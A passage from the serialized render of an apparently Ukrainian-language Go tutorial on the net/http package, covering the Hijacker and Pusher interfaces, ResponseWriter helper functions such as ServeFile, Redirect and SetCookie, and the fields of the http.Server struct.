error)\n}\n",[5236,20461,20462,20473,20501],{"__ignoreMap":5472},[5557,20463,20464,20466,20469,20471],{"class":5559,"line":5560},[5557,20465,11991],{"class":5563},[5557,20467,20468],{"class":5567}," Hijacker",[5557,20470,12160],{"class":5563},[5557,20472,5701],{"class":5585},[5557,20474,20475,20478,20480,20482,20484,20486,20488,20490,20492,20495,20497,20499],{"class":5559,"line":5571},[5557,20476,20477],{"class":5637},"    Hijack",[5557,20479,19130],{"class":5585},[5557,20481,5308],{"class":5567},[5557,20483,5268],{"class":5585},[5557,20485,5946],{"class":5567},[5557,20487,19088],{"class":5585},[5557,20489,5314],{"class":5567},[5557,20491,5268],{"class":5585},[5557,20493,20494],{"class":5567},"ReadWriter",[5557,20496,5305],{"class":5585},[5557,20498,12061],{"class":5567},[5557,20500,5623],{"class":5585},[5557,20502,20503],{"class":5559,"line":5578},[5557,20504,5922],{"class":5585},[5348,20506,20507],{},"Дозволяє отримати прямий доступ до TCP-сокета, щоб реалізувати власний протокол (WebSocket, custom binary protocol):",[5464,20509,20511],{"className":5550,"code":20510,"language":5553,"meta":5472,"style":5472},"func websocketHandler(w http.ResponseWriter, r *http.Request) {\n    hijacker, ok := w.(http.Hijacker)\n    if !ok {\n        http.Error(w, \"Hijacking not supported\", http.StatusInternalServerError)\n        return\n    }\n\n    conn, buf, err := hijacker.Hijack()\n    if err != nil {\n        http.Error(w, err.Error(), http.StatusInternalServerError)\n        return\n    }\n    defer conn.Close()\n\n    \u002F\u002F Тепер ми маємо прямий доступ до сокета\n    \u002F\u002F Реалізуємо WebSocket handshake та протокол\n    \u002F\u002F (у реальності використовуйте gorilla\u002Fwebsocket)\n}\n",[5236,20512,20513,20544,20568,20578,20605,20609,20613,20617,20643,20655,20686,20690,20694,20706,20710,20715,20720,20725],{"__ignoreMap":5472},[5557,20514,20515,20517,20520,20522,20524,20526,20528,20530,20532,20534,20536,20538,20540,20542],{"class":5559,"line":5560},[5557,20516,5634],{"class":5563},[5557,20518,20519],{"class":5637}," websocketHandler",[5557,20521,5673],{"class":5585},[5557,20523,8909],{"class":5654},[5557,20525,8912],{"class":5567},[5557,20527,5268],{"class":5585},[5557,20529,8917],{"class":5567},[5557,20531,5305],{"class":5585},[5557,20533,8922],{"class":5654},[5557,20535,8925],{"class":5585},[5557,20537,8928],{"class":5567},[5557,20539,5268],{"class":5585},[5557,20541,8933],{"class":5567},[5557,20543,5949],{"class":5585},[5557,20545,20546,20549,20551,20553,20555,20557,20559,20561,20563,20566],{"class":5559,"line":5571},[5557,20547,20548],{"class":5654},"    hijacker",[5557,20550,5305],{"class":5585},[5557,20552,19145],{"class":5654},[5557,20554,5663],{"class":5585},[5557,20556,8909],{"class":5654},[5557,20558,20280],{"class":5585},[5557,20560,8928],{"class":5567},[5557,20562,5268],{"class":5585},[5557,20564,20565],{"class":5567},"Hijacker",[5557,20567,5623],{"class":5585},[5557,20569,20570,20572,20574,20576],{"class":5559,"line":5578},[5557,20571,5689],{"class":5581},[5557,20573,9365],{"class":5585},[5557,20575,19145],{"class":5654},[5557,20577,5701],{"class":5585},[5557,20579,20580,20582,20584,20586,20588,20590,20592,20595,20597,20599,20601,20603],{"class":5559,"line":5589},[5557,20581,9300],{"class":5654},[5557,20583,5268],{"class":5585},[5557,20585,9267],{"class":5637},[5557,20587,5673],{"class":5585},[5557,20589,8909],{"class":5654},[5557,20591,5305],{"class":5585},[5557,20593,20594],{"class":5592},"\"Hijacking not supported\"",[5557,20596,5305],{"class":5585},[5557,20598,8928],{"class":5654},[5557,20600,5268],{"class":5585},[5557,20602,9322],{"class":5654},[5557,20604,5623],{"class":5585},[5557,20606,20607],{"class":5559,"line":5596},[5557,20608,6076],{"class":5581},[5557,20610,20611],{"class":5559,"line":5602},[5557,20612,5735],{"class":5585},[5557,20614,20615],{"class":5559,"line":5608},[5557,20616,5575],{"emptyLinePlaceholder":5574},[5557,20618,20619,20622,20624,20627,20629,20631,20633,20636,20638,20641],{"class":5559,"line":5614},[5557,20620,20621],{"class":5654},"    conn",[5557,20623,5305],{"class":5585},[5557,20625,20626],{"class":5654},"buf",[5557,20628,5305],{"class":5585},[5557,20630,5660],{"class":5654},[5557,20632,5663],{"class":5585},[5557,20634,20635],{"class":5654},"hijacker",[5557,20637,5268],{"class":5585},[5557,20639,20640],{"class":5637},"Hijack",[5557,20642,5752],{"class":5585},[5557,20644,20645,20647,20649,20651,20653],{"class":5559,"line":5620},[5557,20646,5689],{"class":5581},[5557,20648,5692],{"class":5654},[5557,20650,5695],{"class":5585},[5557,20652,5698],{"class":5563},[5557,20654,5701],{"class":5585},[5557,20656,20657,20659,20661,20663,20665,20667,20669,20671,20673,20675,20678,20680,20682,20684],{"class":5559,"line":5626},[5557,20658,9300],{"class":5654},[5557,20660,5268],{"class":5585},[5557,20662,9267],{"class":5637},[5557,20664,5673],{"class":5585},[5557,20666,8909],{"class":5654},[5557,20668,5305],{"class":5585},[5557,20670,5660],{"class":5654},[5557,20672,5268],{"class":5585},[5557,20674,9267],{"class":5637},[5557,20676,20677],{"class":5585},"(), ",[5557,20679,8928],{"class":5654},[5557,20681,5268],{"class":5585},[5557,20683,9322],{"class":5654},[5557,20685,5623],{"class":5585},[5557,20687,20688],{"class":5559,"line":5631},[5557,20689,6076],{"class":5581},[5557,20691,20692],{"class":5559,"line":5644},[5557,20693,5735],{"class":5585},[5557,20695,20696,20698,20700,20702,20704],{"class":5559,"line":5651},[5557,20697,5741],{"class":5581},[5557,20699,5957],{"class":5654},[5557,20701,5268],{"class":5585},[5557,20703,5749],{"class":5637},[5557,20705,5752],{"class":5585},[5557,20707,20708],{"class":5559,"line":5686},[5557,20709,5575],{"emptyLinePlaceholder":5574},[5557,20711,20712],{"class":5559,"line":5704},[5557,20713,20714],{"class":5647},"    \u002F\u002F Тепер ми маємо прямий доступ до сокета\n",[5557,20716,20717],{"class":5559,"line":5732},[5557,20718,20719],{"class":5647},"    \u002F\u002F Реалізуємо WebSocket handshake та протокол\n",[5557,20721,20722],{"class":5559,"line":5738},[5557,20723,20724],{"class":5647},"    \u002F\u002F (у реальності використовуйте gorilla\u002Fwebsocket)\n",[5557,20726,20727],{"class":5559,"line":5755},[5557,20728,5922],{"class":5585},[5348,20730,20731],{},[5205,20732,20733,20734,20737],{},"3. ",[5236,20735,20736],{},"http.Pusher"," — HTTP\u002F2 Server Push:",[5464,20739,20741],{"className":5550,"code":20740,"language":5553,"meta":5472,"style":5472},"type Pusher interface {\n    Push(target string, opts *PushOptions) error\n}\n",[5236,20742,20743,20754,20779],{"__ignoreMap":5472},[5557,20744,20745,20747,20750,20752],{"class":5559,"line":5560},[5557,20746,11991],{"class":5563},[5557,20748,20749],{"class":5567}," Pusher",[5557,20751,12160],{"class":5563},[5557,20753,5701],{"class":5585},[5557,20755,20756,20759,20761,20763,20765,20767,20770,20772,20775,20777],{"class":5559,"line":5571},[5557,20757,20758],{"class":5637},"    Push",[5557,20760,5673],{"class":5585},[5557,20762,10182],{"class":5654},[5557,20764,6662],{"class":5567},[5557,20766,5305],{"class":5585},[5557,20768,20769],{"class":5654},"opts",[5557,20771,8925],{"class":5585},[5557,20773,20774],{"class":5567},"PushOptions",[5557,20776,10276],{"class":5585},[5557,20778,18031],{"class":5567},[5557,20780,20781],{"class":5559,"line":5578},[5557,20782,5922],{"class":5585},[5348,20784,20785],{},"Використовується для проактивного відправлення ресурсів (CSS, JS) до запиту:",[5464,20787,20789],{"className":5550,"code":20788,"language":5553,"meta":5472,"style":5472},"func pushHandler(w http.ResponseWriter, r *http.Request) {\n    pusher, ok := w.(http.Pusher)\n    if ok {\n        \u002F\u002F Проштовхуємо критичні ресурси\n        if err := pusher.Push(\"\u002Fstyles.css\", nil); err != nil {\n            log.Printf(\"Failed to push: %v\", err)\n        }\n    }\n\n    w.Header().Set(\"Content-Type\", \"text\u002Fhtml\")\n    fmt.Fprintf(w, `\u003Chtml>\u003Chead>\u003Clink rel=\"stylesheet\" href=\"\u002Fstyles.css\">\u003C\u002Fhead>\u003C\u002Fhtml>`)\n}\n",[5236,20790,20791,20822,20846,20855,20860,20895,20918,20922,20926,20930,20953,20972],{"__ignoreMap":5472},[5557,20792,20793,20795,20798,20800,20802,20804,20806,20808,20810,20812,20814,20816,20818,20820],{"class":5559,"line":5560},[5557,20794,5634],{"class":5563},[5557,20796,20797],{"class":5637}," pushHandler",[5557,20799,5673],{"class":5585},[5557,20801,8909],{"class":5654},[5557,20803,8912],{"class":5567},[5557,20805,5268],{"class":5585},[5557,20807,8917],{"class":5567},[5557,20809,5305],{"class":5585},[5557,20811,8922],{"class":5654},[5557,20813,8925],{"class":5585},[5557,20815,8928],{"class":5567},[5557,20817,5268],{"class":5585},[5557,20819,8933],{"class":5567},[5557,20821,5949],{"class":5585},[5557,20823,20824,20827,20829,20831,20833,20835,20837,20839,20841,20844],{"class":5559,"line":5571},[5557,20825,20826],{"class":5654},"    pusher",[5557,20828,5305],{"class":5585},[5557,20830,19145],{"class":5654},[5557,20832,5663],{"class":5585},[5557,20834,8909],{"class":5654},[5557,20836,20280],{"class":5585},[5557,20838,8928],{"class":5567},[5557,20840,5268],{"class":5585},[5557,20842,20843],{"class":5567},"Pusher",[5557,20845,5623],{"class":5585},[5557,20847,20848,20850,20853],{"class":5559,"line":5578},[5557,20849,5689],{"class":5581},[5557,20851,20852],{"class":5654}," ok",[5557,20854,5701],{"class":5585},[5557,20856,20857],{"class":5559,"line":5589},[5557,20858,20859],{"class":5647},"        \u002F\u002F Проштовхуємо критичні ресурси\n",[5557,20861,20862,20864,20866,20868,20871,20873,20876,20878,20881,20883,20885,20887,20889,20891,20893],{"class":5559,"line":5596},[5557,20863,5838],{"class":5581},[5557,20865,5692],{"class":5654},[5557,20867,5663],{"class":5585},[5557,20869,20870],{"class":5654},"pusher",[5557,20872,5268],{"class":5585},[5557,20874,20875],{"class":5637},"Push",[5557,20877,5673],{"class":5585},[5557,20879,20880],{"class":5592},"\"\u002Fstyles.css\"",[5557,20882,5305],{"class":5585},[5557,20884,5698],{"class":5563},[5557,20886,15210],{"class":5585},[5557,20888,5660],{"class":5654},[5557,20890,5695],{"class":5585},[5557,20892,5698],{"class":5563},[5557,20894,5701],{"class":5585},[5557,20896,20897,20899,20901,20903,20905,20908,20910,20912,20914,20916],{"class":5559,"line":5602},[5557,20898,5852],{"class":5654},[5557,20900,5268],{"class":5585},[5557,20902,5857],{"class":5637},[5557,20904,5673],{"class":5585},[5557,20906,20907],{"class":5592},"\"Failed to push: ",[5557,20909,5720],{"class":5654},[5557,20911,5723],{"class":5592},[5557,20913,5305],{"class":5585},[5557,20915,5660],{"class":5654},[5557,20917,5623],{"class":5585},[5557,20919,20920],{"class":5559,"line":5608},[5557,20921,5884],{"class":5585},[5557,20923,20924],{"class":5559,"line":5614},[5557,20925,5735],{"class":5585},[5557,20927,20928],{"class":5559,"line":5620},[5557,20929,5575],{"emptyLinePlaceholder":5574},[5557,20931,20932,20934,20936,20938,20940,20942,20944,20946,20948,20951],{"class":5559,"line":5626},[5557,20933,9121],{"class":5654},[5557,20935,5268],{"class":5585},[5557,20937,10972],{"class":5637},[5557,20939,11043],{"class":5585},[5557,20941,11046],{"class":5637},[5557,20943,5673],{"class":5585},[5557,20945,11098],{"class":5592},[5557,20947,5305],{"class":5585},[5557,20949,20950],{"class":5592},"\"text\u002Fhtml\"",[5557,20952,5623],{"class":5585},[5557,20954,20955,20957,20959,20961,20963,20965,20967,20970],{"class":5559,"line":5631},[5557,20956,5763],{"class":5654},[5557,20958,5268],{"class":5585},[5557,20960,9146],{"class":5637},[5557,20962,5673],{"class":5585},[5557,20964,8909],{"class":5654},[5557,20966,5305],{"class":5585},[5557,20968,20969],{"class":5592},"`\u003Chtml>\u003Chead>\u003Clink rel=\"stylesheet\" href=\"\u002Fstyles.css\">\u003C\u002Fhead>\u003C\u002Fhtml>`",[5557,20971,5623],{"class":5585},[5557,20973,20974],{"class":5559,"line":5644},[5557,20975,5922],{"class":5585},[5348,20977,20978],{},[5205,20979,20980,20981,20984],{},"4. ",[5236,20982,20983],{},"http.CloseNotifier"," (застарілий у Go 1.11+):",[5348,20986,20987,20988,20991],{},"Використовуйте замість нього ",[5236,20989,20990],{},"r.Context().Done()"," для виявлення обриву з'єднання.",[7759,20993,20995],{"id":20994},"хелпери-для-роботи-з-responsewriter","Хелпери для роботи з ResponseWriter",[5464,20997,20999],{"className":5550,"code":20998,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Відправка помилки із заголовком Content-Type: text\u002Fplain\nfunc http.Error(w ResponseWriter, error string, code int)\n\n\u002F\u002F Редирект (встановлює Location та статус-код)\nfunc http.Redirect(w ResponseWriter, r *Request, url string, code int)\n\n\u002F\u002F Відправка файлу (автоматично визначає Content-Type, підтримує Range Requests)\nfunc http.ServeFile(w ResponseWriter, r *Request, name string)\n\n\u002F\u002F Відправка контенту із io.ReadSeeker (більше контролю, ніж ServeFile)\nfunc http.ServeContent(w ResponseWriter, r *Request, name string, modtime time.Time, content io.ReadSeeker)\n\n\u002F\u002F Встановлення cookie\nfunc http.SetCookie(w ResponseWriter, cookie *Cookie)\n\n\u002F\u002F Видалення cookie (встановлює MaxAge=-1)\nfunc deleteCookie(w ResponseWriter, name string) {\n    http.SetCookie(w, &http.Cookie{\n        Name:   name,\n        Value:  \"\",\n        Path:   \"\u002F\",\n        MaxAge: -1,\n    })\n}\n",[5236,21000,21001,21006,21036,21040,21045,21083,21087,21092,21125,21129,21134,21192,21196,21201,21227,21231,21236,21257,21280,21290,21300,21310,21321,21325],{"__ignoreMap":5472},[5557,21002,21003],{"class":5559,"line":5560},[5557,21004,21005],{"class":5647},"\u002F\u002F Відправка помилки із заголовком Content-Type: text\u002Fplain\n",[5557,21007,21008,21010,21012,21014,21016,21018,21020,21022,21024,21026,21028,21030,21032,21034],{"class":5559,"line":5571},[5557,21009,5634],{"class":5563},[5557,21011,8912],{"class":5654},[5557,21013,5268],{"class":5585},[5557,21015,9267],{"class":5637},[5557,21017,5673],{"class":5585},[5557,21019,8909],{"class":5654},[5557,21021,12174],{"class":5567},[5557,21023,5305],{"class":5585},[5557,21025,12061],{"class":5567},[5557,21027,6662],{"class":5567},[5557,21029,5305],{"class":5585},[5557,21031,5236],{"class":5654},[5557,21033,6650],{"class":5567},[5557,21035,5623],{"class":5585},[5557,21037,21038],{"class":5559,"line":5578},[5557,21039,5575],{"emptyLinePlaceholder":5574},[5557,21041,21042],{"class":5559,"line":5589},[5557,21043,21044],{"class":5647},"\u002F\u002F Редирект (встановлює Location та статус-код)\n",[5557,21046,21047,21049,21051,21053,21055,21057,21059,21061,21063,21065,21067,21069,21071,21073,21075,21077,21079,21081],{"class":5559,"line":5596},[5557,21048,5634],{"class":5563},[5557,21050,8912],{"class":5654},[5557,21052,5268],{"class":5585},[5557,21054,10169],{"class":5637},[5557,21056,5673],{"class":5585},[5557,21058,8909],{"class":5654},[5557,21060,12174],{"class":5567},[5557,21062,5305],{"class":5585},[5557,21064,8922],{"class":5654},[5557,21066,8925],{"class":5585},[5557,21068,8933],{"class":5567},[5557,21070,5305],{"class":5585},[5557,21072,16620],{"class":5654},[5557,21074,6662],{"class":5567},[5557,21076,5305],{"class":5585},[5557,21078,5236],{"class":5654},[5557,21080,6650],{"class":5567},[5557,21082,5623],{"class":5585},[5557,21084,21085],{"class":5559,"line":5602},[5557,21086,5575],{"emptyLinePlaceholder":5574},[5557,21088,21089],{"class":5559,"line":5608},[5557,21090,21091],{"class":5647},"\u002F\u002F Відправка файлу (автоматично визначає Content-Type, підтримує Range Requests)\n",[5557,21093,21094,21096,21098,21100,21103,21105,21107,21109,21111,21113,21115,21117,21119,21121,21123],{"class":5559,"line":5614},[5557,21095,5634],{"class":5563},[5557,21097,8912],{"class":5654},[5557,21099,5268],{"class":5585},[5557,21101,21102],{"class":5637},"ServeFile",[5557,21104,5673],{"class":5585},[5557,21106,8909],{"class":5654},[5557,21108,12174],{"class":5567},[5557,21110,5305],{"class":5585},[5557,21112,8922],{"class":5654},[5557,21114,8925],{"class":5585},[5557,21116,8933],{"class":5567},[5557,21118,5305],{"class":5585},[5557,21120,18895],{"class":5654},[5557,21122,6662],{"class":5567},[5557,21124,5623],{"class":5585},[5557,21126,21127],{"class":5559,"line":5620},[5557,21128,5575],{"emptyLinePlaceholder":5574},[5557,21130,21131],{"class":5559,"line":5626},[5557,21132,21133],{"class":5647},"\u002F\u002F Відправка контенту із io.ReadSeeker (більше контролю, ніж ServeFile)\n",[5557,21135,21136,21138,21140,21142,21145,21147,21149,21151,21153,21155,21157,21159,21161,21163,21165,21167,21170,21173,21175,21178,21180,21183,21185,21187,21190],{"class":5559,"line":5631},[5557,21137,5634],{"class":5563},[5557,21139,8912],{"class":5654},[5557,21141,5268],{"class":5585},[5557,21143,21144],{"class":5637},"ServeContent",[5557,21146,5673],{"class":5585},[5557,21148,8909],{"class":5654},[5557,21150,12174],{"class":5567},[5557,21152,5305],{"class":5585},[5557,21154,8922],{"class":5654},[5557,21156,8925],{"class":5585},[5557,21158,8933],{"class":5567},[5557,21160,5305],{"class":5585},[5557,21162,18895],{"class":5654},[5557,21164,6662],{"class":5567},[5557,21166,5305],{"class":5585},[5557,21168,21169],{"class":5654},"modtime",[5557,21171,21172],{"class":5567}," time",[5557,21174,5268],{"class":5585},[5557,21176,21177],{"class":5567},"Time",[5557,21179,5305],{"class":5585},[5557,21181,21182],{"class":5654},"content",[5557,21184,16698],{"class":5567},[5557,21186,5268],{"class":5585},[5557,21188,21189],{"class":5567},"ReadSeeker",[5557,21191,5623],{"class":5585},[5557,21193,21194],{"class":5559,"line":5644},[5557,21195,5575],{"emptyLinePlaceholder":5574},[5557,21197,21198],{"class":5559,"line":5651},[5557,21199,21200],{"class":5647},"\u002F\u002F Встановлення cookie\n",[5557,21202,21203,21205,21207,21209,21211,21213,21215,21217,21219,21221,21223,21225],{"class":5559,"line":5686},[5557,21204,5634],{"class":5563},[5557,21206,8912],{"class":5654},[5557,21208,5268],{"class":5585},[5557,21210,9102],{"class":5637},[5557,21212,5673],{"class":5585},[5557,21214,8909],{"class":5654},[5557,21216,12174],{"class":5567},[5557,21218,5305],{"class":5585},[5557,21220,8804],{"class":5654},[5557,21222,8925],{"class":5585},[5557,21224,7339],{"class":5567},[5557,21226,5623],{"class":5585},[5557,21228,21229],{"class":5559,"line":5704},[5557,21230,5575],{"emptyLinePlaceholder":5574},[5557,21232,21233],{"class":5559,"line":5732},[5557,21234,21235],{"class":5647},"\u002F\u002F Видалення cookie (встановлює MaxAge=-1)\n",[5557,21237,21238,21240,21243,21245,21247,21249,21251,21253,21255],{"class":5559,"line":5738},[5557,21239,5634],{"class":5563},[5557,21241,21242],{"class":5637}," deleteCookie",[5557,21244,5673],{"class":5585},[5557,21246,8909],{"class":5654},[5557,21248,12174],{"class":5567},[5557,21250,5305],{"class":5585},[5557,21252,18895],{"class":5654},[5557,21254,6662],{"class":5567},[5557,21256,5949],{"class":5585},[5557,21258,21259,21261,21263,21265,21267,21269,21272,21274,21276,21278],{"class":5559,"line":5755},[5557,21260,9097],{"class":5654},[5557,21262,5268],{"class":5585},[5557,21264,9102],{"class":5637},[5557,21266,5673],{"class":5585},[5557,21268,8909],{"class":5654},[5557,21270,21271],{"class":5585},", &",[5557,21273,8928],{"class":5567},[5557,21275,5268],{"class":5585},[5557,21277,7339],{"class":5567},[5557,21279,6695],{"class":5585},[5557,21281,21282,21284,21286,21288],{"class":5559,"line":5760},[5557,21283,8986],{"class":5654},[5557,21285,9027],{"class":5585},[5557,21287,18895],{"class":5654},[5557,21289,6710],{"class":5585},[5557,21291,21292,21294,21296,21298],{"class":5559,"line":5778},[5557,21293,8999],{"class":5654},[5557,21295,14628],{"class":5585},[5557,21297,9520],{"class":5592},[5557,21299,6710],{"class":5585},[5557,21301,21302,21304,21306,21308],{"class":5559,"line":5794},[5557,21303,9012],{"class":5654},[5557,21305,9027],{"class":5585},[5557,21307,9017],{"class":5592},[5557,21309,6710],{"class":5585},[5557,21311,21312,21314,21317,21319],{"class":5559,"line":5799},[5557,21313,9024],{"class":5654},[5557,21315,21316],{"class":5585},": -",[5557,21318,6213],{"class":6134},[5557,21320,6710],{"class":5585},[5557,21322,21323],{"class":5559,"line":5807},[5557,21324,11978],{"class":5585},[5557,21326,21327],{"class":5559,"line":5813},[5557,21328,5922],{"class":5585},[5348,21330,21331],{},[5205,21332,21333],{},"Приклад використання хелперів:",[5464,21335,21337],{"className":5550,"code":21336,"language":5553,"meta":5472,"style":5472},"func fileDownloadHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Перевірка автентифікації\n    if !isAuthenticated(r) {\n        http.Error(w, \"Unauthorized\", http.StatusUnauthorized)\n        return\n    }\n\n    \u002F\u002F Відправка файлу (автоматично додає Content-Disposition, Content-Length, підтримує Range Requests)\n    http.ServeFile(w, r, \"\u002Fvar\u002Ffiles\u002Fdocument.pdf\")\n}\n\nfunc redirectHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Перенаправлення на новий URL\n    http.Redirect(w, r, \"\u002Fnew-location\", http.StatusMovedPermanently)\n}\n",[5236,21338,21339,21370,21375,21390,21416,21420,21424,21428,21433,21456,21460,21464,21495,21500,21531],{"__ignoreMap":5472},[5557,21340,21341,21343,21346,21348,21350,21352,21354,21356,21358,21360,21362,21364,21366,21368],{"class":5559,"line":5560},[5557,21342,5634],{"class":5563},[5557,21344,21345],{"class":5637}," fileDownloadHandler",[5557,21347,5673],{"class":5585},[5557,21349,8909],{"class":5654},[5557,21351,8912],{"class":5567},[5557,21353,5268],{"class":5585},[5557,21355,8917],{"class":5567},[5557,21357,5305],{"class":5585},[5557,21359,8922],{"class":5654},[5557,21361,8925],{"class":5585},[5557,21363,8928],{"class":5567},[5557,21365,5268],{"class":5585},[5557,21367,8933],{"class":5567},[5557,21369,5949],{"class":5585},[5557,21371,21372],{"class":5559,"line":5571},[5557,21373,21374],{"class":5647},"    \u002F\u002F Перевірка автентифікації\n",[5557,21376,21377,21379,21381,21384,21386,21388],{"class":5559,"line":5578},[5557,21378,5689],{"class":5581},[5557,21380,9365],{"class":5585},[5557,21382,21383],{"class":5637},"isAuthenticated",[5557,21385,5673],{"class":5585},[5557,21387,8922],{"class":5654},[5557,21389,5949],{"class":5585},[5557,21391,21392,21394,21396,21398,21400,21402,21404,21406,21408,21410,21412,21414],{"class":5559,"line":5589},[5557,21393,9300],{"class":5654},[5557,21395,5268],{"class":5585},[5557,21397,9267],{"class":5637},[5557,21399,5673],{"class":5585},[5557,21401,8909],{"class":5654},[5557,21403,5305],{"class":5585},[5557,21405,19578],{"class":5592},[5557,21407,5305],{"class":5585},[5557,21409,8928],{"class":5654},[5557,21411,5268],{"class":5585},[5557,21413,9285],{"class":5654},[5557,21415,5623],{"class":5585},[5557,21417,21418],{"class":5559,"line":5596},[5557,21419,6076],{"class":5581},[5557,21421,21422],{"class":5559,"line":5602},[5557,21423,5735],{"class":5585},[5557,21425,21426],{"class":5559,"line":5608},[5557,21427,5575],{"emptyLinePlaceholder":5574},[5557,21429,21430],{"class":5559,"line":5614},[5557,21431,21432],{"class":5647},"    \u002F\u002F Відправка файлу (автоматично додає Content-Disposition, Content-Length, підтримує Range Requests)\n",[5557,21434,21435,21437,21439,21441,21443,21445,21447,21449,21451,21454],{"class":5559,"line":5620},[5557,21436,9097],{"class":5654},[5557,21438,5268],{"class":5585},[5557,21440,21102],{"class":5637},[5557,21442,5673],{"class":5585},[5557,21444,8909],{"class":5654},[5557,21446,5305],{"class":5585},[5557,21448,8922],{"class":5654},[5557,21450,5305],{"class":5585},[5557,21452,21453],{"class":5592},"\"\u002Fvar\u002Ffiles\u002Fdocument.pdf\"",[5557,21455,5623],{"class":5585},[5557,21457,21458],{"class":5559,"line":5626},[5557,21459,5922],{"class":5585},[5557,21461,21462],{"class":5559,"line":5631},[5557,21463,5575],{"emptyLinePlaceholder":5574},[5557,21465,21466,21468,21471,21473,21475,21477,21479,21481,21483,21485,21487,21489,21491,21493],{"class":5559,"line":5644},[5557,21467,5634],{"class":5563},[5557,21469,21470],{"class":5637}," redirectHandler",[5557,21472,5673],{"class":5585},[5557,21474,8909],{"class":5654},[5557,21476,8912],{"class":5567},[5557,21478,5268],{"class":5585},[5557,21480,8917],{"class":5567},[5557,21482,5305],{"class":5585},[5557,21484,8922],{"class":5654},[5557,21486,8925],{"class":5585},[5557,21488,8928],{"class":5567},[5557,21490,5268],{"class":5585},[5557,21492,8933],{"class":5567},[5557,21494,5949],{"class":5585},[5557,21496,21497],{"class":5559,"line":5651},[5557,21498,21499],{"class":5647},"    \u002F\u002F Перенаправлення на новий URL\n",[5557,21501,21502,21504,21506,21508,21510,21512,21514,21516,21518,21521,21523,21525,21527,21529],{"class":5559,"line":5686},[5557,21503,9097],{"class":5654},[5557,21505,5268],{"class":5585},[5557,21507,10169],{"class":5637},[5557,21509,5673],{"class":5585},[5557,21511,8909],{"class":5654},[5557,21513,5305],{"class":5585},[5557,21515,8922],{"class":5654},[5557,21517,5305],{"class":5585},[5557,21519,21520],{"class":5592},"\"\u002Fnew-location\"",[5557,21522,5305],{"class":5585},[5557,21524,8928],{"class":5654},[5557,21526,5268],{"class":5585},[5557,21528,10191],{"class":5654},[5557,21530,5623],{"class":5585},[5557,21532,21533],{"class":5559,"line":5704},[5557,21534,5922],{"class":5585},[7167,21536,16563,21538,21540],{"id":21537},"структура-httpserver-конфігурація-сервера",[5236,21539,5257],{},": конфігурація сервера",[5348,21542,21543,21545],{},[5236,21544,5257],{}," — це центральна структура для керування HTTP-сервером. Вона дає повний контроль над поведінкою сервера.",[5464,21547,21549],{"className":5550,"code":21548,"language":5553,"meta":5472,"style":5472},"type Server struct {\n    \u002F\u002F Адреса для прослуховування, формат \":8080\" або \"0.0.0.0:8080\"\n    Addr string\n\n    \u002F\u002F Головний обробник (роутер)\n    \u002F\u002F Якщо nil, використовується http.DefaultServeMux\n    Handler Handler\n\n    \u002F\u002F Таймаут читання всього запиту (заголовки + тіло)\n    \u002F\u002F За замовчуванням: необмежений (небезпечно!)\n    ReadTimeout time.Duration\n\n    \u002F\u002F Таймаут читання заголовків (менший за ReadTimeout)\n    \u002F\u002F Дозволяє швидше відхиляти повільні клієнти\n    ReadHeaderTimeout time.Duration\n\n    \u002F\u002F Таймаут запису відповіді\n    WriteTimeout time.Duration\n\n    \u002F\u002F Таймаут очікування наступного запиту при keep-alive\n    IdleTimeout time.Duration\n\n    \u002F\u002F Максимальний розмір заголовків запиту (за замовчуванням 1 MB)\n    MaxHeaderBytes int\n\n    \u002F\u002F TLS конфігурація (для HTTPS)\n    TLSConfig *tls.Config\n\n    \u002F\u002F Налаштування HTTP\u002F2\n    \u002F\u002F Автоматично активується для TLS, якщо не вимкнено\n    TLSNextProto map[string]func(*Server, *tls.Conn, Handler)\n\n    \u002F\u002F Час очікування плавного завершення\n    \u002F\u002F (не поле структури, передається в Shutdown)\n\n    \u002F\u002F Функція для логування помилок\n    ErrorLog *log.Logger\n\n    \u002F\u002F Базовий контекст для всіх запитів\n    BaseContext func(net.Listener) context.Context\n\n    \u002F\u002F Функція для налаштування контексту кожного запиту\n    ConnContext func(ctx context.Context, c net.Conn) context.Context\n}\n",[5236,21550,21551,21562,21567,21574,21578,21583,21588,21596,21600,21605,21610,21622,21626,21631,21636,21647,21651,21656,21667,21671,21676,21687,21691,21696,21703,21707,21712,21726,21730,21735,21740,21775,21779,21784,21789,21793,21798,21813,21817,21822,21847,21851,21856,21892],{"__ignoreMap":5472},[5557,21552,21553,21555,21558,21560],{"class":5559,"line":5560},[5557,21554,11991],{"class":5563},[5557,21556,21557],{"class":5567}," Server",[5557,21559,11997],{"class":5563},[5557,21561,5701],{"class":5585},[5557,21563,21564],{"class":5559,"line":5571},[5557,21565,21566],{"class":5647},"    \u002F\u002F Адреса для прослуховування, формат \":8080\" або \"0.0.0.0:8080\"\n",[5557,21568,21569,21572],{"class":5559,"line":5578},[5557,21570,21571],{"class":5654},"    Addr",[5557,21573,16601],{"class":5567},[5557,21575,21576],{"class":5559,"line":5589},[5557,21577,5575],{"emptyLinePlaceholder":5574},[5557,21579,21580],{"class":5559,"line":5596},[5557,21581,21582],{"class":5647},"    \u002F\u002F Головний обробник (роутер)\n",[5557,21584,21585],{"class":5559,"line":5602},[5557,21586,21587],{"class":5647},"    \u002F\u002F Якщо nil, використовується http.DefaultServeMux\n",[5557,21589,21590,21593],{"class":5559,"line":5608},[5557,21591,21592],{"class":5654},"    Handler",[5557,21594,21595],{"class":5567}," Handler\n",[5557,21597,21598],{"class":5559,"line":5614},[5557,21599,5575],{"emptyLinePlaceholder":5574},[5557,21601,21602],{"class":5559,"line":5620},[5557,21603,21604],{"class":5647},"    \u002F\u002F Таймаут читання всього запиту (заголовки + тіло)\n",[5557,21606,21607],{"class":5559,"line":5626},[5557,21608,21609],{"class":5647},"    \u002F\u002F За замовчуванням: необмежений (небезпечно!)\n",[5557,21611,21612,21615,21617,21619],{"class":5559,"line":5631},[5557,21613,21614],{"class":5654},"    ReadTimeout",[5557,21616,21172],{"class":5567},[5557,21618,5268],{"class":5585},[5557,21620,21621],{"class":5567},"Duration\n",[5557,21623,21624],{"class":5559,"line":5644},[5557,21625,5575],{"emptyLinePlaceholder":5574},[5557,21627,21628],{"class":5559,"line":5651},[5557,21629,21630],{"class":5647},"    \u002F\u002F Таймаут читання заголовків (менший за ReadTimeout)\n",[5557,21632,21633],{"class":5559,"line":5686},[5557,21634,21635],{"class":5647},"    \u002F\u002F Дозволяє швидше відхиляти повільні 